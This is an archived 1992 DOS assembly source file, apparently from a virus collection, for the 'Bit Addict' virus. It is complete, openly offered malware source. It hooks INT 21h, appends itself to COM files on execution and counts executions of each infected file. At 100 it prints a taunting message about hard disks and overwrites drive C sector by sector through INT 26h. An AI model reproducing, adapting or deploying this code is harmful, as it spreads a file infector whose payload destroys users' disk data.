HaCKeRz Kr0nlcKLeZ 1/HaCKeRz Kr0nlcKLeZ.iso/chibacity/tdupdat2.err/BITADDCT.ZIP/BITAD1V3.ZIP/ADDICT4.ASM

Assembly Source File | 1992-03-17 | 2.9 KB | 224 lines

code segment
    org    0

    call    Virus

Displacement    equ    $

SavedCode    db    0cdh,020h,11 dup (090h)

OldInt21    dd    0
Count        db    0

Jump        db    0e9h
NearOfset    dw    0
ID        db    'Bit Addict says: ',13,10
        db    '"You have a good taste for hard disks, it was delicious!"'
        db    '$'

NewInt21:
    cmp    ax,0ffffh
    jne    Ok
    cmp    dx,ax
    jne    Ok
    mov    ax,cs
    iret
Ok:    cmp    ah,4bh
    je    Exec
    jmp    EOI

Exec:    cmp    cs:Count,100
    jb    Infect

    push    cs
    pop    ds
    mov    ah,9
    lea    dx,ID
    int    21h

    xor    dx,dx
    cli
Repeat:    push    dx
    mov    ax,2
    xor    bx,bx
    mov    cx,100
    int    26h
    pop    ax
    pop    dx
    add    dx,100
    jmp    short Repeat

Infect:    push    ax
    push    bx
    push    cx
    push    si
    push    di
    push    ds
    push    es
    push    dx
    mov    ax,04300h
    int    21h
    push    cx
    mov    ax,04301h
    xor    cx,cx
    int    21h
    mov    ax,03d02h
    int    21h
    jnc    OpenOk
    jmp    Error
OpenOk:    mov    bx,ax
    mov    ax,05700h
    int    21h
    push    cx
    push    dx
    push    cs
    pop    ds
    push    cs
    pop    es
    mov    ah,3fh
    mov    cx,13
    lea    dx,SavedCode
    int    21h
    jc    Close2
    lea    si,ID
    lea    di,SavedCode[3]
    mov    cx,10
    cld
    repe    cmpsb
    je    Counter
    cmp    word ptr SavedCode,5a4dh
    je    Close2
    mov    ax,04202h
    xor    cx,cx
    xor    dx,dx
    int    21h
    jc    Close
    or    dx,dx
    jne    Close
    sub    ax,3
    jb    Close
    mov    NearOfset,ax
    mov    Count,0
    mov    ah,40h
    mov    cx,CodeSize
    xor    dx,dx
    int    21h
    jc    Close
    mov    ax,4200h
    xor    cx,cx
    xor    dx,dx
    int    21h
    jc    Close
    mov    ah,40h
    mov    cx,13
    lea    dx,Jump
    int    21h
Close2:    jmp    short Close
Counter:mov    dx,word ptr SavedCode[1]
    add    dx,offset Count+3
    xor    cx,cx
    mov    ax,4200h
    int    21h
    jc    Close
    push    ax
    push    dx
    mov    ah,3fh
    mov    cx,1
    lea    dx,Count
    int    21h
    pop    cx
    pop    dx
    jc    Close
    inc    Count
    mov    ax,4200h
    int    21h
    jc    Close
    mov    ah,40h
    mov    cx,1
    lea    dx,Count
    int    21h
Close:    pop    dx
    pop    cx
    mov    ax,05701h
    int    21h
    mov    ax,03e00h
    int    21h
Error:    pop    cx
    pop    dx
    pop    es
    pop    ds
    mov    ax,04301h
    int    21h
    pop    di
    pop    si
    pop    cx
    pop    bx
    pop    ax
EOI:    jmp    cs:OldInt21

Virus:    mov    ax,0ffffh
    mov    dx,ax
    int    21h
    pop    bx
    sub    bx,Displacement
    mov    ds,ax
    xor    si,si
    mov    di,bx
    mov    cx,CodeSize
    rep    cmpsb
    je    Exit
    push    bx
    mov    ah,52h
    int    21h
    push    es
    push    bx
    mov    ah,30h
    int    21h
    pop    si
    pop    ds
    pop    bx
    cmp    al,2
    jb    Exit
    cmp    al,3
    adc    si,12h
    les    di,[si]
    push    es
    push    di
    les    di,es:[di]
    mov    [si],di
    mov    [si+2],es
    pop    ax
    pop    dx
    add    ax,0fh
    mov    cl,4
    shr    ax,cl
    add    ax,dx
    mov    es,ax
    push    cs
    pop    ds
    mov    si,bx
    xor    di,di
    mov    cx,CodeSize
    cld
    rep    movsb
    xor    ax,ax
    mov    ds,ax
    mov    ax,[84h]
    mov    es:word ptr OldInt21[0],ax
    mov    ax,[86h]
    mov    es:word ptr OldInt21[2],ax
    mov    word ptr [84h],NewInt21
    mov    word ptr [86h],es
Exit:    push    cs
    pop    es
    push    cs
    pop    ds
    lea    si,SavedCode[bx]
    mov    di,0100h
    push    di
    mov    cx,13
    rep    movsb
    ret

CodeSize    equ    $